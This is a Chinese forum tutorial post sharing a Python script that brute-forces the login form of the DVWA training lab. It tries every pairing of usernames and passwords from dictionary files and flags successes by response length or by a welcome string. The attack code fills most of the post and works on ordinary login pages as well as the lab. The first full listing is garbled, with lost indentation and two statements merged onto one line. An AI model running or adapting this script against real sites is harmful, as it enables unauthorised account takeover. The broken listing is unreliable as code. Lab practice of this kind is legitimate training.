冰凌汇编

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 127|回复: 0
收起左侧

[Python] 一个简单的Python揭破网站登录密码脚本

[复制链接]
HQ0731 发表于 2022-2-7 16:50:54

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级

关键代码解释

url指定url地址


[Python] 纯文本查看 复制代码
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"


header设置请求头

[Python] 纯文本查看 复制代码
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}


payload设置请求参数


[Python] 纯文本查看 复制代码
payload = {'username':username,'password':password,"Login":'Login'}


这一行的作用是作一次get请求,响应信息被变量Response接收


[Python] 纯文本查看 复制代码
 Response = requests.get(url,params=payload,headers=header)


这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

[Python] 纯文本查看 复制代码
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):


然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度

[Python] 纯文本查看 复制代码
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')


完整代码
方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

[Python] 纯文本查看 复制代码
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
print('\n完成')


运行结果

运行

一个简单的Python揭破网站登录密码脚本 - HQ0731_冰凌汇编

这就是脚本发送的数据包

一个简单的Python揭破网站登录密码脚本 - HQ0731_冰凌汇编

查看结果
一个简单的Python揭破网站登录密码脚本 - HQ0731_冰凌汇编

查看包长度与其他不同的数据,登录测试

一个简单的Python揭破网站登录密码脚本 - HQ0731_冰凌汇编

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

[Python] 纯文本查看 复制代码
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
    'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
print('\n完成')


运行结果

一个简单的Python揭破网站登录密码脚本 - HQ0731_冰凌汇编

一个简单的Python揭破网站登录密码脚本 - HQ0731_冰凌汇编


冰凌汇编免责声明
以上内容均来自网友转发或原创,如存在侵权请发送到站方邮件9003554@qq.com处理。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|站点统计|Archiver|小黑屋|RSS|冰凌汇编 ( 滇ICP备2022002049号 滇公网安备 53032102000029号)|网站地图

GMT+8, 2022-9-25 07:14 , Processed in 0.127848 second(s), 9 queries , Redis On.

冰凌汇编 - 建立于2021年12月20日

Powered by Discuz! © 2001-2022 Comsenz Inc.

快速回复 返回顶部 返回列表